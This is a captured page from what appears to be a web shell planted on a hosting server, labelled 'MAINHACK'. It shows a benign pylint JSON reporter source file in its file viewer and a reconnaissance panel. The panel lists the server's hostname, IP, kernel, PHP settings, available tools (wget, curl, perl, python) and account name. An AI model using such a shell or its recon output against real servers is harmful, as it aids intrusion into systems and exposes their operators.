[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: json_reporter.py
File is not writable. Editing disabled.
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt """JSON reporter.""" from __future__ import annotations import json import sys from typing import TYPE_CHECKING, Optional from pylint.interfaces import UNDEFINED from pylint.message import Message from pylint.reporters.base_reporter import BaseReporter from pylint.typing import MessageLocationTuple if sys.version_info >= (3, 8): from typing import TypedDict else: from typing_extensions import TypedDict if TYPE_CHECKING: from pylint.lint.pylinter import PyLinter from pylint.reporters.ureports.nodes import Section # Since message-id is an invalid name we need to use the alternative syntax OldJsonExport = TypedDict( "OldJsonExport", { "type": str, "module": str, "obj": str, "line": int, "column": int, "endLine": Optional[int], "endColumn": Optional[int], "path": str, "symbol": str, "message": str, "message-id": str, }, ) class BaseJSONReporter(BaseReporter): """Report messages and layouts in JSON.""" name = "json" extension = "json" def display_messages(self, layout: Section | None) -> None: """Launch layouts display.""" json_dumpable = [self.serialize(message) for message in self.messages] print(json.dumps(json_dumpable, indent=4), file=self.out) def display_reports(self, layout: Section) -> None: """Don't do anything in this reporter.""" def _display(self, layout: Section) -> None: """Do nothing.""" @staticmethod def serialize(message: Message) -> OldJsonExport: raise NotImplementedError @staticmethod def deserialize(message_as_json: OldJsonExport) -> Message: raise NotImplementedError class JSONReporter(BaseJSONReporter): """ TODO: 3.0: Remove this JSONReporter in favor of the new one handling abs-path and confidence. TODO: 2.16: Add a new JSONReporter handling abs-path, confidence and scores. (Ultimately all other breaking change related to json for 3.0). """ @staticmethod def serialize(message: Message) -> OldJsonExport: return { "type": message.category, "module": message.module, "obj": message.obj, "line": message.line, "column": message.column, "endLine": message.end_line, "endColumn": message.end_column, "path": message.path, "symbol": message.symbol, "message": message.msg or "", "message-id": message.msg_id, } @staticmethod def deserialize(message_as_json: OldJsonExport) -> Message: return Message( msg_id=message_as_json["message-id"], symbol=message_as_json["symbol"], msg=message_as_json["message"], location=MessageLocationTuple( # TODO: 3.0: Add abs-path and confidence in a new JSONReporter abspath=message_as_json["path"], path=message_as_json["path"], module=message_as_json["module"], obj=message_as_json["obj"], line=message_as_json["line"], column=message_as_json["column"], end_line=message_as_json["endLine"], end_column=message_as_json["endColumn"], ), # TODO: 3.0: Make confidence available in a new JSONReporter confidence=UNDEFINED, ) def register(linter: PyLinter) -> None: linter.register_reporter(JSONReporter)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A